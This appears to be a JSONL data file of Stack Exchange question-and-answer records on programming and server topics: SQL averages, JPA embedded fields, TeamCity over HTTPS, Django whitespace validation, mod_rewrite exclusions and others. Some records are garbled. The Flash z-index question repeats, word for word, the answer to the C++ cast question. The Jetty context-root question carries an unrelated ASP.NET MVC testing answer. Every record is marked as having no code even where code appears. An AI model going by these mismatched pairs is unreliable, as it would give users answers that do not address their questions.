{"id": "hf_dfa421856d22", "question": "<p>After installing the VSTS Database GDR and importing a SQL Server 2005 database that includes the ASP.NET provider schema tables, I get the following warnings:</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_Users_DeleteUser] has an unresolved reference to object [dbo].[sysobjects].[name].</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_Users_DeleteUser] has an unresolved reference to object [dbo].[sysobjects].</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_AnyDataInTables] has an unresolved reference to object [dbo].[sysobjects].[type].</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_Users_DeleteUser] has an unresolved reference to object [dbo].[sysobjects].[type].</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_AnyDataInTables] has an unresolved reference to object [dbo].[sysobjects].</p>\n\n<p>TSD04151: Procedure: [dbo].[aspnet_AnyDataInTables] has an unresolved reference to object [dbo].[sysobjects].[name].</p>\n\n<p>Does anyone know how to get rid of these warnings?</p>\n", "question_body": "", "answer": "I'm not sure, but a quick look seems to reveal the following.\nThe offending line in the script seems to be:\nLine 42 in procedure [dbo].[aspnet_Users_DeleteUser]\n(how do you do underscores here?)\n(like this: \\_ )\n(EXISTS (SELECT name FROM\nsysobjects\nWHERE (name = N'vw_aspnet_MembershipUsers') AND (type = 'V'))))\nthe system view sysobjects belongs to the built in system schema 'sys' which is not included in the database project. As a result the database project parser thinks (wrongly) that the reference is unresolved.\nI don't think there is anything you can do but select to ignore the warning from the project settings. (Be aware that that will hide real errors from you as well.) I would probably just ignore the warnings.\nUpdate:\nTry to add a reference to:\nC:\\Program Files\\Microsoft Visual Studio 9.0\\VSTSDB\\Extensions\\SqlServer\\2008\\DBSchemas\\master.dbschema", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.691648"}
{"id": "hf_dad097111281", "question": "<p>I've seen some posts where jQuery has been favored vs ExtJS. I haven't looked at jQuery in detail, but from what I read so far, jQuery doesn't provide the kind of UI which comes with ExtJS. Am I correct? Why would some of you prefer jQuery in ASP.NET?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "There are two schools of javascript frameworks, ones that focus on widgets (Yui, ext, etc) , and ones that focus on behavior (jquery, prototype, moo, etc)\nJQuery just makes life easier to build dynamic, sexy sites. If you are just doing system.draggy.droppy asp development, you can ignore both, since you probably aren't really touching javascript at all. But if you do use javascript, it is worth your time to learn one of the frameworks that are out there, and jquery is currently the most popular.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.716537"}
{"id": "hf_c5f8f9667220", "question": "<p>Is it possible for a JPA entity class to contain two embedded (<code>@Embedded</code>) fields? An example would be:</p>\n\n<pre><code>@Entity\npublic class Person {\n    @Embedded\n    public Address home;\n\n    @Embedded\n    public Address work;\n}\n\npublic class Address {\n    public String street;\n    ...\n}\n</code></pre>\n\n<p>In this case a <code>Person</code> can contain two <code>Address</code> instances - home and work. I'm using JPA with Hibernate's implementation. When I generate the schema using Hibernate Tools, it only embeds one <code>Address</code>. What I'd like is two embedded <code>Address</code> instances, each with its column names distinguished or pre-pended with some prefix (such as home and work). I know of <code>@AttributeOverrides</code>, but this requires that each attribute be individually overridden. This can get cumbersome if the embedded object (<code>Address</code>) gets big as each column needs to be individually overridden.</p>\n", "question_body": "", "answer": "If you want to have the same embeddable object type twice in the same entity, the column name defaulting will not work: at least one of the columns will have to be explicit. Hibernate goes beyond the EJB3 spec and allows you to enhance the defaulting mechanism through the NamingStrategy. DefaultComponentSafeNamingStrategy is a small improvement over the default EJB3NamingStrategy that allows embedded objects to be defaulted even if used twice in the same entity.\nFrom Hibernate Annotations Doc:\nhttp://docs.jboss.org/hibernate/stable/annotations/reference/en/html_single/#d0e714", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.753051"}
{"id": "hf_d3f93141bf11", "question": "<p>How do I setup TeamCity 4.0 so that I can access it over port 443 on the internet?  e.g. <a href=\"https://teamcity.mydomain.com\" rel=\"nofollow noreferrer\">https://teamcity.mydomain.com</a></p>\n\n<p>I am running IIS 7 on the same server that TeamCity is installed.  I see two options:</p>\n\n<ol>\n<li><p>Setup TeamCity to use port 8443 and\ncreate a reverse proxy in IIS that\nroutes requests to the TeamCity\npublic IP address to the Tomcat port\non the internal IP address.</p></li>\n<li><p>Setup Tomcat to run on a different\nIP address than IIS 7, and configure\nTeamCity to run on port 443.</p></li>\n</ol>\n\n<p>I'm not sure on the details of either of these steps.</p>\n", "question_body": "", "answer": "It requires configuring the bundled Tomcat server for https.  See here:\nhttp://confluence.jetbrains.net/display/TCD65/Using+HTTPS+to+access+TeamCity+server\nand here:\nhttp://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html\nI also setup Tomcat to listen on just one IP Address.  All of this turned out to be a real pain, and I still am not able to run TeamCity as a service.  I can only run it at the command line.  If I were going to do this over, I would install TeamCity to run on the default port, and reverse proxy to it using\nIIS7 Application Request Routing\nor Apache Virtual Directories.\n[Edit]\nI have done this over, and I used IIS Application Request Routing to set up a reverse proxy. It works perfectly, and Team City upgrades are painless as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.789741"}
{"id": "hf_6949e71265e5", "question": "<p>I've created a small python script to toggle between two files I'm using for testing.</p>\n\n<p>My question is, what is a good Python format style for the following code:</p>\n\n<pre><code>import filecmp\nimport shutil\n\nlocal = \"local.txt\"\nremote = \"remote.txt\"\nconfig_file = \"C:\\some\\path\\file.txt\"\n\nshutil.copyfile( remote if( filecmp.cmp(local, config_file ) ) else local, config_file  )\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>shutil.copyfile( remote \n                     if( filecmp.cmp(local, config_file ) ) \n                     else local,\n                 config_file  )\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>tocopy = remote if( filecmp.cmp( local, config_file ) ) else local \nshutil.copyfile( tocopy, config_file )\n</code></pre>\n\n<p>Or what?</p>\n\n<p>Also, what is the preferred way to name var in python for many-word names, is it \"to_copy\", \"tocopy\", \"toCopy\", \"ToCopy\"</p>\n", "question_body": "", "answer": "The most common naming I've seen is underscode separated words, to_copy.\nAs for the format style, I've seen no such agreement. I find\n```\n```\nsource = remote if filecmp.cmp(local, config_file) else local\n\nshutil.copyfile(source, config_file)\n```\n```\nto be the clearest among your options.\nAnd seeing that everyone prefers to split the if I'd, at the very least, encapsulate the copyfile call in case you someday wish to change it:\n```\n```\ndef copy_to(source, destination):\n    shutil.copyfile(source,destination)\n\nif filecmp.cmp(local, config_file):\n    copy_to(remote, config_file)\nelse:\n    copy_to(local, config_file)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.839413"}
{"id": "hf_f55249eb2b59", "question": "<pre><code>SELECT \n  avg(con_hits) as avg_hits \nFROM \n  content \nWHERE \n  con_type = 1 \n  AND con_posttime &lt; $twelve_hrs_ago \n  AND con_refresh = 0 \nORDER BY \n  con_posttime DESC \nLIMIT 100\n</code></pre>\n\n<p>I would like it to go to the first record that was posted at least 12 hours ago (denoted by the <code>$twelve_hrs_ago</code> variable which has the suitable timestamp), and take the average of the <code>con_hits</code> column, for the next 100 records. In my example, it disregards the <code>LIMIT</code>, and takes the average of every record in the table.</p>\n\n<p>Is there a way to bypass that?</p>\n", "question_body": "", "answer": "```\nLIMIT\n```\nis applied to the resultset, after\n```\nAVG\n```\nis calculated. You can do what you want, with a subselect:\n```\n```\nSELECT avg(con_hits) as avg_hits\nFROM (\n  SELECT con_hits\n  FROM content\n  WHERE\n    con_type = 1\n    AND con_posttime < $twelve_hrs_ago\n    AND con_refresh = 0\n  ORDER BY con_posttime DESC\n  LIMIT 100\n) x;\n```\n```\nYou can use the database to calculate the time offset too. Replace\n```\n$twelve_hrs_ago\n```\nabove with:\n```\n```\ndate_add(now(), interval -12 hour)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.870310"}
{"id": "hf_4966e59dabcd", "question": "<p>I've recently updated an application to the 3.5 framework (from 2.0). The app links to Reporting Services (2005) remotely via an URL. This all works fine locally but when deployed to the dev server (win 2003) I'm getting a 403 error when attempting to call the report server.</p>\n\n<p>\"You are not authorized to view this page\n...</p>\n\n<p>HTTP Error 403 - Forbidden \"</p>\n\n<p>This just started happening after the 3.5 framework was installed, I've tried various security settings but can't get this to work again.</p>\n\n<p>Does anyone know what security needs to be set or what I need to change?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "When you say call the report server, what do you mean specifically? Access the Report Manager using this url: www.myserver.com/reports   ?\nThe main reason is, that locally you are authenticated implicitly as the user you're logged on to the server. Accessing the server remotely in the browser, does not necessarily authenticate you. Do you have anonymous authentication enabled in IIS on the server? If so, you are authenticated as a public anonymous/guest user and have not access to the report server. By disabling anonymous authentication, you will be prompted for username/password to authenticate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.936265"}
{"id": "hf_a3c8901cd2c2", "question": "<p>What is the best practices regarding storing files uploaded from users?</p>\n\n<p>Currently, I am during the following method for storing files:</p>\n\n<pre><code>&lt;web_app_root&gt;/course_material/&lt;term_id&gt;/&lt;course_id&gt;/&lt;file_id&gt;\n</code></pre>\n\n<p>As you can see, the files are stored according to the keys in the database. I thought this was safer, since I wouldn't have to filter filenames and turn unsafe characters into safe characters.</p>\n\n<p>However, I am starting a new project and wanted to know if it was a bad idea to tie a web app's filesystem so closely with a database. Should I store files in a more human readable format?</p>\n\n<pre><code>&lt;web_app_root&gt;/course_material/&lt;term_name_underscored&gt;/&lt;course_name_underscored&gt;/&lt;file_name_underscored&gt;\n</code></pre>\n\n<p>If so, what are the best ways to filter out filenames to be safe? Or is the way I am currently doing it a best practice?</p>\n", "question_body": "", "answer": "I've always just stored the files in a directory with unique GUID based filenames, and mapped the guid to the file in the DB.  As long as you're not manually browsing the files and such, this is probably the easiest solution (also gets around invalid chars).\nAnother option is storing them as BLOBS in the database.  I've also done this - but it was to fill a replicated DR scenario, which modern NAS devices should handle.\nIf you see the need to manually browse the files outside of the app for some reason, then using the long or short name (however you'd like to browse them) would be cleaner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:08.977130"}
{"id": "hf_b1ba17e76cac", "question": "<p>I need to check whether a page is being redirected or not without actually downloading the content. I just need the final URL. What's the best way of doing this is Python?\nThanks!</p>\n", "question_body": "", "answer": "When you open the URL with\n```\nurllib2\n```\n, and you're redirected, you get a status 30x for redirection.  Check the info to see the location to which you're redirected.  You don't need to read the page to read the\n```\ninfo()\n```\nthat's part of the response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.002251"}
{"id": "hf_55b84ec4ec75", "question": "<p>I'm switching between different Java SDKs (1.4.2, 1.5.0 and 1.6.0) for various projects.  I would like to set the JAVA_HOME environment variable on my Windows XP machine without going through the tedious My Computer -> Advanced -> [Select System Variable] -> Edit -> Ok -> Ok</p>\n\n<p>Is it possible to do this from the command line, or is there a utility that can do this?</p>\n\n<p>(Note that I am not referring to the standard batch file \"SET\" command - I want to set the environment variable \"globally,\" not just for the life of a console window).</p>\n", "question_body": "", "answer": "From\nhttp://vlaurie.com/computers2/Articles/environment.htm\n:\nUsing the add-on tool Setx.exe\nIt is not part of the standard Windows\n  XP setup but a command-line tool\n  called setx.exe is included in the\nWindows XP Service Pack 2 Support Tools\n. This tool extends the set\n  command so that permanent changes in\n  the environment variables can be made.\n  For example, to add a folder C:\\New\n  Folder to the path, the command would\n  be setx path \"%PATH%;C:\\New Folder\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.052553"}
{"id": "hf_5bdc5526c443", "question": "<p>How do I create a Web Application Project in VS 2008? How is it different from a \"WebSite\" project?</p>\n", "question_body": "", "answer": "File--New--Project\ninstead of File--New--Web Site\nIt acts as a different container all together and the compile model is different.\nScottGu provided some details when they were first launched:\nhttp://weblogs.asp.net/scottgu/archive/2006/05/08/445742.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.078265"}
{"id": "hf_627e2cfabf3b", "question": "<p>This question is about \"best use\" scenarios in projects with ORMs like NHibernate, Subsonic, Linq2SQL, etc...</p>\n\n<p>All of these tools generate basic entity classes, some with attributes, others without.  Do people use these classes as their business classes?  Or is there wholesale copying of data from ORM generated classes to manually created business classes?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I tend to work the opposite way.  I create the business objects the way I need them, and create NHibernate mappings from my objects to data.  You can have NHibernate generate a schema for you based on your mappings, or you can create your own schema, and create the mappings to go between the two.  Linq2Sql and Entity Framework do not support this.  I can't speak to Subsonic on this point.\nI usually create my business classes, and get the application at least partially running without any database at all.  This way I can develop a better understanding of what it is the application is supposed to do, and how it should behave before making the decision of how to persist the objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.153215"}
{"id": "hf_bb86a687defd", "question": "<p>Simple question, spurred on by the removal of the target attribute in HTML 4.0 Strict and XHTML 1.0 Strict.</p>\n", "question_body": "", "answer": "I personally don't think so, as web users become more savvy, they'll ask for a new window from the browser.  It annoys me when a website does this a lot.\nI think the question is sort of subjective.  It could be good if you're launching a javascript game or something.\nHere's\nNeil Turner's reasons not to do it\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.188424"}
{"id": "hf_3e5335b2cedb", "question": "<p>I'm working on a menu-generating HtmlHelper extension method. This method will need to know which Action is being executed. So if Home/Index is executing, the extension method would show all links to other actions that're \"coordinated.\" In a sense, all I need to know during the execution of the Home controller's Index action is the name of the Controller and the name of the Action that are being executed so that other logic can be executed. Is this possible?</p>\n", "question_body": "", "answer": "Try this\n```\n```\nvar action = HtmlHelper.ViewContext.RouteData.Values[\"action\"];\nvar controller = HtmlHelper.ViewContext.RouteData.Values[\"controller\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.224607"}
{"id": "hf_b016e2acb930", "question": "<p>I'm attempting to use the following code to serialize an anonymous type to JSON:</p>\n\n<pre><code>var serializer = new DataContractJsonSerializer(thing.GetType());\nvar ms = new MemoryStream();\nserializer.WriteObject(ms, thing);\nvar json = Encoding.Default.GetString(ms.ToArray()); \n</code></pre>\n\n<p>However, I get the following exception when this is executed:</p>\n\n<blockquote>\n  <p>Type\n  '&lt;>f__AnonymousType1`3[System.Int32,System.Int32,System.Object[]]'\n  cannot be serialized. Consider marking\n  it with the DataContractAttribute\n  attribute, and marking all of its\n  members you want serialized with the\n  DataMemberAttribute attribute.  See\n  the Microsoft .NET Framework\n  documentation for other supported\n  types.</p>\n</blockquote>\n\n<p>I can't apply attributes to an anonymous type (as far as I know).  Is there another way to do this serialization or am I missing something? </p>\n", "question_body": "", "answer": "Try the JavaScriptSerializer instead of the DataContractJsonSerializer\n```\n```\nJavaScriptSerializer serializer = new JavaScriptSerializer();\nvar output = serializer.Serialize(your_anon_object);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.248836"}
{"id": "hf_caef9f75dab3", "question": "<p>My list (@degree) is built from a SQL command. The NVL command in the SQL isn't working, neither are tests such as:</p>\n\n<pre><code>if (@degree[$i] == \"\")\nif (@degree[$i] == \" \")\nif (@degree[$i] == '')\nif (@degree[$i] == -1)\nif (@degree[$i] == 0)\nif (@degree[$i] == ())\nif (@degree[$i] == undef)\n</code></pre>\n\n<p>$i is a counter variable in a for loop. Basically it goes through and grabs unique degrees from a table and ends up creating <code>(\"AFA\", \"AS\", \"AAS\", \"\", \"BS\")</code>. The list is not always this long, and the empty element is not always in that position 3.</p>\n\n<p>Can anyone help?</p>\n\n<p>I want to either test during the for loop, or after the loop completes for where this empty element is and then replace it with the word, \"OTHER\".</p>\n\n<p>Thanks for anything\n-Ken</p>\n", "question_body": "", "answer": "First of all, the ith element in an array is $degree[$i], not @degree[$i].  Second, \"==\" is for numerical comparisons - use \"eq\" for lexical comparisons.  Third of all, try\n```\nif (defined($degree[$i]))\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.272946"}
{"id": "hf_7c59eb368e6b", "question": "<p>When I look at a directory in Windows Explorer, I can see a ProductName and ProductVersion property for the DLL's in that directory.</p>\n\n<p>I need to export this DLL list with ProductName and ProductVersion into a text file.</p>\n\n<p>If I do <code>c:\\&gt;dir *.dll &gt; test.log</code>, the test.log does not have the ProductName and ProductVersion.</p>\n\n<p>Could someone help me to get these properties exported to a file along with the filename?</p>\n\n<p>Even if it is a freeware tool or some other <code>dir</code> switch, that will be useful.</p>\n", "question_body": "", "answer": "Using VBScript you could do the following:\n```\n```\nSet objShell = CreateObject (\"Shell.Application\")\nSet objFolder = objShell.Namespace (\"C:\\Scripts\")\nSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\nDim arrHeaders(40)\n\nFor i = 0 to 40\n    arrHeaders(i) = objFolder.GetDetailsOf (objFolder.Items, i)\nNext\n\nFor Each strFileName in objFolder.Items\n    For i = 0 to 40\n        Wscript.echo arrHeaders(i) & \": \" & objFolder.GetDetailsOf (strFileName, i) \n    Next\n    Wscript.Echo\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.309205"}
{"id": "hf_7b569071c5e5", "question": "<p>What are the proper uses of:</p>\n<ul>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/static_cast\" rel=\"noreferrer\"><code>static_cast</code></a></li>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/dynamic_cast\" rel=\"noreferrer\"><code>dynamic_cast</code></a></li>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/const_cast\" rel=\"noreferrer\"><code>const_cast</code></a></li>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/reinterpret_cast\" rel=\"noreferrer\"><code>reinterpret_cast</code></a></li>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/explicit_cast\" rel=\"noreferrer\"><code>(type)value</code></a> (C-style cast)</li>\n<li><a href=\"https://en.cppreference.com/w/cpp/language/explicit_cast\" rel=\"noreferrer\"><code>type(value)</code></a> (function-style cast)</li>\n</ul>\n<p>How does one decide which to use in which specific cases?</p>\n", "question_body": "", "answer": "Does\nthis\nanswer your question?\nI have never used\n```\nreinterpret_cast\n```\n, and wonder whether running into a case that needs it isn't a smell of bad design. In the code base I work on\n```\ndynamic_cast\n```\nis used a lot. The difference with\n```\nstatic_cast\n```\nis that a\n```\ndynamic_cast\n```\ndoes runtime checking which may (safer) or may not (more overhead) be what you want (see\nmsdn\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.334038"}
{"id": "hf_b91f6a1a4184", "question": "<p>I've been trying to add a swf over a swf on a html page, it's working fine in Firefox, but in IE, the one that's added first is always on top of the other one. I used z-index but it's not working, does anyone know how to solve this? Thanks.</p>\n\n<p>I already added wmode:transparent, it is working in firefox but not in IE 6.</p>\n", "question_body": "", "answer": "Does\nthis\nanswer your question?\nI have never used\n```\nreinterpret_cast\n```\n, and wonder whether running into a case that needs it isn't a smell of bad design. In the code base I work on\n```\ndynamic_cast\n```\nis used a lot. The difference with\n```\nstatic_cast\n```\nis that a\n```\ndynamic_cast\n```\ndoes runtime checking which may (safer) or may not (more overhead) be what you want (see\nmsdn\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.359303"}
{"id": "hf_82969bc078d8", "question": "<p>Im trying to create an app to control a pc remotely using java , i want to use red5  to let the admin control desktops using a flash movie \nso i need to find java classes to :</p>\n\n<ul>\n<li>capture desktop as live video</li>\n<li>-control mouse and keyboard</li>\n</ul>\n", "question_body": "", "answer": "TightVNC\nhas a Java viewer so you can easily manage your server through VNC protocol and use a Java client (usable as an applet too).\nThere are tools, though not in Java, such as\nvncrec\nto record VNC sessions. I don't know if this is exactly what you are looking for since to distribute video a better choice would be to set up a streaming server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.396969"}
{"id": "hf_90d06cdcef2d", "question": "<p>My application's context root is /foobar and I am running an exploded deployment with maven-jetty-plugin.</p>\n\n<p>I need to dynamically remap requets for /images/* to /foobar/images/*, and I cannot remap my application's context root to /.</p>\n\n<p>For weblogic I have a halfwit solution where I deploy an additional war containing a proxy to context root /images. </p>\n\n<p>The problem is that I cannot get this to work with maven-jetty-plugin, because I dont see how it can deploy two apps.</p>\n\n<p>Anyone know how to do this  ?</p>\n", "question_body": "", "answer": "I don't think it can be done since TryUpdateModel, which UpdateModel uses, references the ControllerContext which is null when invoked from a unit test.  I use RhinoMocks to mock or stub the various components needed by the controller.\n```\n```\nvar routeData = new RouteData();\nvar httpContext = MockRepository.GenerateStub<HttpContextBase>();\nFormCollection formParameters = new FormCollection();\n\nEventController controller = new EventController();\nControllerContext controllerContext = \n    MockRepository.GenerateStub<ControllerContext>( httpContext,\n                                                    routeData,\n                                                    controller );\ncontroller.ControllerContext = controllerContext;\n\nViewResult result = controller.Create( formParameters ) as ViewResult;\n\nAssert.AreEqual( \"Event\", result.Values[\"controller\"] );\nAssert.AreEqual( \"Show\", result.Values[\"action\"] );\nAssert.AreEqual( 0, result.Values[\"id\"] );\n```\n```\nHere's the relevant bit from the Controller.cs source on www.codeplex.com/aspnet:\n```\n```\nprotected internal bool TryUpdateModel<TModel>( ... ) where TModel : class\n{\n\n     ....\n\n    ModelBindingContext bindingContext =\n           new ModelBindingContext( ControllerContext,\n                                    valueProvider,\n                                    typeof(TModel),\n                                    prefix,\n                                    () => model,\n                                    ModelState,\n                                    propertyFilter );\n\n     ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.433115"}
{"id": "hf_b4efda4f6f4a", "question": "<p>I'm working with some example java code for making md5 hashes. One part converts the results from bytes to a string of hex digits:</p>\n\n<pre><code>byte messageDigest[] = algorithm.digest();     \nStringBuffer hexString = new StringBuffer();\nfor (int i=0;i&lt;messageDigest.length;i++) {\n    hexString.append(Integer.toHexString(0xFF &amp; messageDigest[i]));\n    }\n</code></pre>\n\n<p>However, it doesn't quite work since toHexString apparently drops off leading zeros. So, what's the simplest way to go from byte array to hex string that maintains the leading zeros?</p>\n", "question_body": "", "answer": "This what I am using for MD5 hashes:\n```\n```\npublic static String getMD5(String filename)\n        throws NoSuchAlgorithmException, IOException {\n    MessageDigest messageDigest = \n        java.security.MessageDigest.getInstance(\"MD5\");\n\n    InputStream in = new FileInputStream(filename);\n\n    byte [] buffer = new byte[8192];\n    int len = in.read(buffer, 0, buffer.length);\n\n    while (len > 0) {\n        messageDigest.update(buffer, 0, len);\n        len = in.read(buffer, 0, buffer.length);\n    }\n    in.close();\n\n    return new BigInteger(1, messageDigest.digest()).toString(16);\n}\n```\n```\nEDIT: I've tested and I've noticed that with this also trailing zeros are cut. But this can only happen in the beginning, so you can compare with the expected length and pad accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.469197"}
{"id": "hf_0752002cda41", "question": "<p>In Django 1.0, what is the best way to catch and show an error if user enters only whitespace (\" \") in a form field?</p>\n\n<pre><code>class Item(models.Model):\n    description = models.CharField(max_length=100)\n\nclass ItemForm(ModelForm):\n    class Meta:\n        model = Item\n</code></pre>\n\n<p>if user enters only whitespace (\" \") in description CharField, what change needs to done to class Item or class ItemForm so that form.is_valid() fails and shows an error?</p>\n\n<p>After form.is_valid(), I could write the code to check for only whitespaces in description field and raise a validation error but there has to be a better way. Can RegexField be used to specify description entered should not be just whitespaces. Any suggestions?</p>\n", "question_body": "", "answer": "```\n```\nclass ItemForm(forms.ModelForm):\n    class Meta:\n        model = Item\n\n    def clean_description(self):\n        if not self.cleaned_data['description'].strip():\n            raise forms.ValidationError('Your error message here')\n```\n```\nThe\nforms validation documentation\nmight provide a good read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.493730"}
{"id": "hf_b00285609e29", "question": "<p>I have a website that employs a generic mod_rewrite rule to push all requests to the index.php page, with the exception of certain file extensions:</p>\n\n<pre><code>RewriteRule !\\.(js|ico|gif|jpg|JPG|png|css|php|phtml|pdf|txt|xml)$ index.php\n</code></pre>\n\n<p>What I need to be able to do is also exclude a certain directory (including any files or sub-directories contained within) from this rule - what is the best solution?</p>\n\n<p>Here is my full .htaccess file, in case something else within it is intefering:</p>\n\n<pre><code>RewriteEngine ON\nRewriteCond %{HTTP_HOST} !^www\\..*\nRewriteCond %{HTTP_HOST}   !^$\nRewriteCond %{HTTP_HOST} ^([^.]*)\\.(co\\.uk)\nRewriteRule ^.*$     http://www.%1.%2%{REQUEST_URI} [R=permanent,L]\n\nAddHandler application/x-httpd-php .phtml\n\nRewriteRule !\\.(js|ico|gif|jpg|JPG|png|css|php|phtml|pdf|txt|xml)$ index.phtml\n\nphp_value display_errors \"On\"\n</code></pre>\n", "question_body": "", "answer": "You could check with\n```\nRewriteCond %{REQUEST_FILENAME} !-f\n```\nfor any request that doesn't match to an existing filename.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.521900"}
